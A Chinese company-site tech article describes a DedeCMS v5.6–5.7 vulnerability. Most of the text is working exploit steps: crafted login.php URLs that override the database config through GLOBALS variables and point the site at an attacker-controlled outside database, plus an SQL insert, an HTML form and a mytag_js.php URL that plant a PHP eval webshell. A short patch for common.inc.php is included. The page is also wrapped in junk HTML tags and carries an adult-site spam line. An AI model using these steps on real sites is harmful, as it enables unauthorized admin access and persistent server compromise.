<tbody id="ywdml"><source id="ywdml"></source></tbody>
<bdo id="ywdml"></bdo>
<track id="ywdml"></track>

<tbody id="ywdml"><nobr id="ywdml"></nobr></tbody>
  • <track id="ywdml"><source id="ywdml"></source></track>
    1. <nobr id="ywdml"><td id="ywdml"></td></nobr><track id="ywdml"></track>
    2. 技術文章

      了解最新公司動態及行業資訊

      當前位置:首頁>技術文章

      織夢DEDECMS漏洞 免賬號密碼登錄管理后臺 方法和修復

      時間:2021-08-07   訪問量:1105

      眾所周知,因使用簡單、客戶群多,織夢CMS一直被爆出許多漏洞。今天小編在群里得到織夢官方論壇某版主可靠消息:DEDECMS爆嚴重安全漏洞,近期官方會發布相關補丁,望大家及時關注補丁動態。


      入侵步驟如下:http://www.xx.com/織夢網站后臺/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST@[GLOBALS][cfg_dbhost]=116.255.183.90&_POST@[GLOBALS][cfg_dbuser]=root&_POST@[GLOBALS][cfg_dbpwd]=r0t0&_POST@[GLOBALS][cfg_dbname]=root

      把上面validate后面的字母改為當前的驗證碼,即可直接進入網站后臺。

      小編分析了一下,此漏洞的前提是必須得到后臺路徑才能實現,因此大家一定要養成使用DEDECM建站時改后臺名字的習慣。下面給出官方的解決辦法:


      解決辦法:

      找到include/common.inc.php文件,把

      foreach($_REQUEST as $_k=>$_v)

      {

      var_dump($_k);

      if( strlen($_k)>0 && preg_match('#^(cfg_|GLOBALS)#',$_k) ):

      {

      exit('Request var not allow!');

      }

      }

      換成


      //檢查和注冊外部提交的變量

      function CheckRequest(&$val) {

      if (is_array($val)) {

      foreach ($val as $_k=>$_v) {

      CheckRequest($_k);

      CheckRequest($val[$_k]);

      }

      } else

      {

      if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS)#',$val) )

      {

      exit('Request var not allow!');

      }

      }

      }

      CheckRequest($_REQUEST);

      網傳的都是說要知道后臺才能利用,但不用,只要 plus 目錄存在,服務器能外連,就能拿shell


      前題條件,必須準備好自己的dede數據庫,然后插入數據:

      insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", 'a');@fwrite($fp, '');echo "OK";@fclose($fp);{/dede:php}');

      再用下面表單提交,shell 就在同目錄下 1.php。原理自己研究。。。

      <form action="" method="post" name="QuickSearch" id="QuickSearch" onsubmit="addaction();">

      <input type="text" value="http://localhost:8080/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />

      <input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />

      <input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />

      <input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />

      <input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />

      <input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />

      <input type="text" value="true" name="nocache" style="width:400">

      <input type="submit" value="提交" name="QuickSearchBtn"><br />

      </form>

      <script>

      function addaction()

      {

      document.QuickSearch.action=document.QuickSearch.doaction.value;

      }

      </script>

      ====================================================

      DedeCms v5.6-5.7 0day

      其實除過windows系統,很多服務提供商是不讓php連接外部mysql服務器的。


      用PHPNow在本地搭建DEDECMS運行環境并安裝DEDECMS,這里以DedeCMSV57_UTF8為例。


      直接進后臺:


      dede/login.php?dopost=login&validate=8235&userid=admin&pwd=admin&_POST@[GLOBALS][cfg_dbhost]=192.168.1.1&_POST@[GLOBALS][cfg_dbuser]=root&_POST@[GLOBALS][cfg_dbpwd]=123456&_POST@[GLOBALS][cfg_dbname]=dedecmsv57utf8&_POST@[GLOBALS][cfg_dbprefix]=dede_


      直接獲得webshell:


      進入自己在本地搭建的dede數據庫,然后插入數據:


      insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", 'a');@fwrite($fp, '<?php eval($_POST@[c]) ?>');echo "OK";@fclose($fp);{/dede:php}');


      在地址欄提交以下語句即可獲得一句話木馬plus/1.php:


      plus/mytag_js.php?aid=1&_POST@[GLOBALS][cfg_dbhost]=192.168.1.1&_POST@[GLOBALS][cfg_dbuser]=root&_POST@[GLOBALS][cfg_dbpwd]=123456&_POST@[GLOBALS][cfg_dbname]=dedecmsv57utf8&_POST@[GLOBALS][cfg_dbprefix]=dede_&nocache=true


      上一篇:windows server 2008 iis 7.0 安裝配置網站WEB服務器 iis上搭建網站詳細圖文教程

      下一篇:如何設置 Windows 7 共享打印機

      在線咨詢

      點擊這里給我發消息 售前咨詢專員

      點擊這里給我發消息 售后服務專員

      在線咨詢

      免費通話

      24小時免費咨詢

      請輸入您的聯系電話,座機請加區號

      免費通話

      微信掃一掃

      微信聯系
      返回頂部
      9久9久女女免费精品视频在线观看

      <tbody id="ywdml"><source id="ywdml"></source></tbody>
      <bdo id="ywdml"></bdo>
      <track id="ywdml"></track>

      <tbody id="ywdml"><nobr id="ywdml"></nobr></tbody>
    3. <track id="ywdml"><source id="ywdml"></source></track>
      1. <nobr id="ywdml"><td id="ywdml"></td></nobr><track id="ywdml"></track>